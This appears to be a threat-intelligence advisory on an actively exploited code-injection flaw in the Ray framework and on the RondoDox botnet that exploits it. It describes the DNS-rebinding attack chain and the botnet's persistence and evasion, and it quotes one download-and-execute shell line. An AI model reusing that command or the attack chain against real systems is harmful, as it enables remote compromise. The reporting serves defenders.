# CISA Warns of Active Exploitation of Ray-Project Ray Code Injection Vulnerability (CVE-2025-62593) by RondoDox Botnet

> CISA added CVE-2025-62593 to its Known Exploited Vulnerabilities catalog on August 17, 2026, mandating federal agencies remediate within 3 days. The critical code injection vulnerability (CVSS 9.4) in Ray-Project Ray versions prior to 2.52.0 allows unauthenticated remote code execution via DNS rebinding combined with User-Agent header spoofing in Firefox and Safari. The RondoDox botnet, a Mirai-inspired DDoS botnet with 174 distinct exploits, began exploiting this vulnerability two days before public disclosure on November 24, 2025.

- **Published:** 2026-08-21T00:00:00Z
- **Last reviewed:** 2026-08-21T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2097
- **ID:** TL-2026-2097
- **Severity:** CRITICAL (CVSS 9.4)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Actor:** RondoDox
- **Detections:** 9 · **IOCs:** 28 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2025-62593

## Description

CVE-2025-62593 is a critical remote code execution vulnerability in Ray-Project Ray, an open-source Python-native distributed computing framework for scaling AI/ML workloads (43,500+ GitHub stars). The vulnerability affects all Ray versions prior to 2.52.0 and received a CVSS 4.0 score of 9.4 (Critical) from GitHub as the CNA.

The root cause lies in Ray's dashboard and job submission API, which intentionally lacked authentication on critical endpoints such as /api/jobs and /api/job_agent/jobs/, a longstanding design decision by the Ray development team. The sole defense against browser-based attacks was a middleware check that rejected requests whose User-Agent header began with 'Mozilla'. However, the Fetch specification allows scripts to set the User-Agent header arbitrarily, and Firefox and Safari implement this faithfully — Chrome is paradoxically immune due to a Chromium bug. Researchers Avi Lumelsky (Oligo) theorized the fetch bypass, and Jonathan Leitschuh (Socket) developed the full DNS rebinding attack chain using NCC Group's Singularity tool.

The attack chain proceeds as follows: (1) a developer runs Ray locally with the dashboard on port 8265; (2) the developer visits a malicious website or is served a malvertising ad in Firefox or Safari; (3) DNS rebinding tricks the browser into treating an attacker-controlled domain as localhost; (4) the browser sends a POST /api/jobs/ request with a spoofed User-Agent: Other header; (5) the payload submits an arbitrary shell command as the job entrypoint; (6) Ray executes the command on the victim's machine. The attack also enables leveraging the browser as a confused deputy intermediary to target Ray instances on private corporate networks.

The RondoDox botnet, first observed in May 2025, is a Mirai-inspired DDoS botnet that has incorporated 174 distinct exploits targeting edge devices, routers, DVRs, and IoT devices across 18 CPU architectures. It was first documented by FortiGuard Labs in September 2024 as a limited threat with only 2 exploits, but rapidly expanded. BitSight observed RondoDox beginning to exploit CVE-2025-62593 on November 24, 2025 — two days before public disclosure and the availability of the patched Ray 2.52.0 release — as a proof-of-concept exploit was already circulating pre-disclosure. Notably, BitSight's analysis found that RondoDox's initial exploit implementation was flawed: the exploit set the User-Agent to Mozilla/5.0 (rondo2012@atomicmail.io), which actually triggered the Ray server's existing 405 Method Not Allowed response, rendering the exploit ineffective against properly configured Ray instances.

RondoDox's infection chain begins with RCE exploitation of vulnerable edge devices, delivering a shell script fetched from hosting infrastructure via pipes (busybox wget -qO- http://<INFRA>/rondo.jbt.sh|sh). The shell script hinders analysis, removes competing malware, finds a writable directory, and fetches the correct architecture-specific binary. The main binary performs anti-debugging checks (nanomites ptrace-based anti-debug, TTY detection, kernel debugger checks), daemonizes, adjusts its OOM score to -1000, renames itself to a random 7-9 character name, and establishes persistence via init.d scripts, crontab entries, rc.local, rcS, inittab, and systemd. It also kills competing malware, renames defensive tools (iptables, ufw, shutdown, poweroff, halt, reboot, chattr, passwd, chpasswd), and disables SELinux and AppArmor. The botnet's sole purpose is DDoS attacks with 28 attack types across internet, transport, and application layers, including HTTP flood, UDP raw sockets, TCP SYN flood, and protocol mimicry targeting OpenVPN, WireGuard, Valve games, Minecraft, Fortnite, and Discord. Additionally, it drops and launches the XMRig cryptocurrency miner on compromised systems, initially mining solo to pool.hashvault.pro and later switching to an XMRig Proxy at 45.94.31.89:443.

CISA added the vulnerability to the KEV catalog on August 17, 2026 under Binding Operational Directive 26-04, which allows compressed remediation timelines. Due to the severity and active exploitation, CISA mandated a 3-day remediation window (deadline August 20, 2026) requiring forensic triage of affected assets. The SSVC assessment rates exploitation as Active, Automatable as Yes, and Technical Impact as Total. The vulnerability was also exploited in the broader ShadowRay 2.0 campaign, where attackers turned unpatched Ray clusters with NVIDIA GPUs into a self-replicating cryptocurrency mining botnet, with over 200,000 Ray servers exposed to the internet.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1059.007 JavaScript
- T1059.004 Command and Scripting Interpreter: Unix Shell
- T1204.001 User Execution: Malicious Link
- T1543.002 Create or Modify System Process: Systemd Service
- T1053.003 Scheduled Task/Job: Cron
- T1037.004 Boot or Logon Initialization Scripts: RC Scripts
- T1027 Obfuscated Files or Information
- T1036 Masquerading
- T1070.004 Indicator Removal: File Deletion
- T1685 Disable or Modify Tools
- T1686 Disable or Modify System Firewall
- T1564.001 Hide Artifacts: Hidden Files and Directories
- T1497.001 Virtualization/Sandbox Evasion: System Checks
- T1057 Process Discovery
- T1082 System Information Discovery
- T1071.001 Application Layer Protocol: Web Protocols
- T1573.001 Encrypted Channel: Symmetric Cryptography
- T1571 Non-Standard Port
- T1498.001 Network Denial of Service: Direct Network Flood
- T1496 Resource Hijacking
- T1489 Service Stop

## Sources

- [In Other News: Zombie Card Attack, T-Mobile Cut Cable to Stop Hackers, GitHub Denies AI-Caused Bug](https://www.securityweek.com/in-other-news-zombie-card-attack-t-mobile-cut-cable-to-stop-hackers-github-denies-ai-caused-bug/)
- [BitSight: RondoDox Botnet Infrastructure Analysis](https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis)
- [BitSight: RondoDox Botnet Malware Analysis](https://www.bitsight.com/blog/rondodox-botnet-malware-analysis)
- [The Hacker News: CISA Flags Actively Exploited Ray Flaw](https://thehackernews.com/2026/08/cisa-flags-actively-exploited-ray-flaw.html)
- [NVD: CVE-2025-62593](https://nvd.nist.gov/vuln/detail/CVE-2025-62593)
- [GitHub Advisory: GHSA-q279-jhrf-cc6v](https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v)
- [Anyscale: Ray CVE-2025-62593 KEV - What You Need to Know](https://www.anyscale.com/blog/ray-cve-2025-62593-kev-what-you-need-to-know)
- [CISA Known Exploited Vulnerabilities Catalog - CVE-2025-62593](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62593)
- [Beelzebub: RondoDox v2 Botnet Analysis](https://beelzebub.ai/blog/rondo-dox-v2/)
- [The Register: CISA gives feds 3 days to fix actively exploited Ray RCE bug](https://www.theregister.com/security/2026/08/18/cisa-gives-feds-3-days-to-fix-actively-exploited-ray-rce-bug/)
- [CISA BOD 26-04: Prioritizing Security Updates Based on Risk](https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk)
- [Oligo Security: ShadowRay 2.0 - Attackers Turn AI Against Itself](https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet)
- [Trend Micro: RondoDox Botnet Analysis](https://www.trendmicro.com/en_us/research/25/j/rondodox.html)
- [Cyber Swachhta Kendra (Indian CERT): RondoDox Botnet Alert](https://www.csk.gov.in/alerts/Rondodox-botnet.html)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2097